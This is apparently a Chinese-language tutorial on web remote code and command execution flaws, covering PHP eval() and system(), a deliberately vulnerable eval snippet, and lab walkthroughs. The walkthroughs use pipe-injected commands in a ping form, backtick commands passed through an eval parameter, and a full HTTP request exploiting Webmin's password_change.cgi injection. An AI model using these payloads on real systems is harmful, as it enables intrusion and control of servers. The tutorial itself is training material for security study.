WEB漏洞—RCE 代码及命令执行漏洞

什么是RCE？

指的是远程命令/代码执行(remote command/code execute)

在 Web 应用中有时候程序员为了考虑灵活性、简洁性，会在代码调用代码或命令执行函数去处理。比如当应用在调用一些能将字符串转化成代码的函数时，没有考虑用户是否能控制这个字符串，将造成代码执行漏洞。同样调用系统命令处理，将造成命令执行漏洞。

容易产生此漏洞的地方

查看上面思维导图 “产生”

相关函数

首先了解一个函数：eval()函数
eval() 函数把字符串按照 PHP 代码来计算。
该字符串必须是合法的 PHP 代码，且必须以分号结尾。
即：eval(phpcode)

<?php
$code=$_GET['x'];
eval($code);

//http://127.0.0.1:8080/test.php?x=phpinfo();
//$code=phpinfo();
//eval(phpinfo(););
?>

java、python等语言都是同理。

再来了解一个函数：system()函数
执行外部程序并显示输出资料。
system语法: string system(string command, int [return_var]);
system返回值: 字符串
System()函数的主要功能是在系统权限允许的情况是执行系统命令,windows系统和Linux系统都可以执行,Windows系统下可执行可执行文件(.exe、.bat等)，也可执行cmd命令，Linux下用途更广，因为Linux系统就是基于命令行的，如基本的ls、cp、rm等。

    <?php
    system(‘ipconfig’,$callback);
    echo $callback;
    ?>

漏洞形成条件

1、有可控变量
2、有漏洞函数

漏洞复现

一般会给用户提供一个ping操作的web界面，用户从web界面输入目标IP，提交后，后台会对该IP地址进行一次ping测试，并返回测试结果。其实这就是一个接口，可以让攻击者直接向后台服务器远程注入操作系统命令或者代码，从而控制后台系统，如图

这是“墨者”里的一个命令执行漏洞靶场
通过输入IP可以ping出连接情况。于是这里就能够做RCE漏洞测试了。

测试中发现，该输入框只允许输入IP值。

知识点：“|”（管道符）这个符号，可以通过此符号同时执行多条命令。

由于这里前端加上了IP输入验证，所以我们可以通过修改数据包内容，在ip值后面加上“|”符号执行后面的“pwd”命令。

key这个文件中就是这个靶场通关密钥。

复现第二个靶场——PHP代码分析溯源

关卡内容如图

通过在线PHP代码运行可得出，eval函数中的代码执行的意思为

上面代码的意思应该为

由此可以得出在URL中加入：?a=ls 从而得出文件列表
以及?a=tac key=(文件名).PHP 得出PHP文件内容

知识点：虽然函数用到eval(),但是在Linux中反引号" ` "包起来的内容会被系统命令执行。所以上面a参数后跟的是系统命令。
反引号的作用就是将反引号内的Linux命令先执行，然后将执行结果赋予变量。尽管可以通过输入字符或者字符串来创建变量值，也可以获取来自于其他Linux命令的值。为把Linux命令的结果赋予变量，实现需要执行这个命令。如果在命令行上把Linux命令放在反引号中，这个命令会首先被执行，其结果会成为命令行的一个参数。在赋值时，通过把命令放在反引号中，以便于首先执行，命令的执行结果会被赋予一个变量。反引号可以被视为由要执行命令组成的表达式，其结果会被赋予变量。组成命令的字符本身不会被赋予。在下面的范例中，命令ls*.c被执行，其结果然后被赋予变量listc。ls*.c会生成具有.c扩展名的所有文件列表。这个文件列表随后被赋予变量listc。

    $ listc=`ls *.c` 
    $ echo $listc 
    main.c prog.c lib.c 

第三个靶场尝试黑盒测试

页面如图

通过百度得知：
Webmin是功能最强大的基于Web的Unix系统管理工具。管理员通过浏览器访问Webmin的各种管理功能并完成相应的管理动作。

不管它是牛是马，网上寻找相关漏洞
https://www.cnblogs.com/whoami101/p/11465877.html

通过抓包修改其数据包如下

POST /password_change.cgi HTTP/1.1
Host: 127.0.0.1:10000
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Accept-Language: en
Cookie: redirect=1; testing=1; sid=x; sessiontest=1
Referer: http://127.0.0.1:10000/password_change.cgi/session_login.cgi
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
cache-control: no-cache

user=rootxx&pam=&expired=2&old=id&new1=test2&new2=test2

得到结果

将数据包中“old=id”改为“old=ls”，得到当前目录中文件

复现RCE成功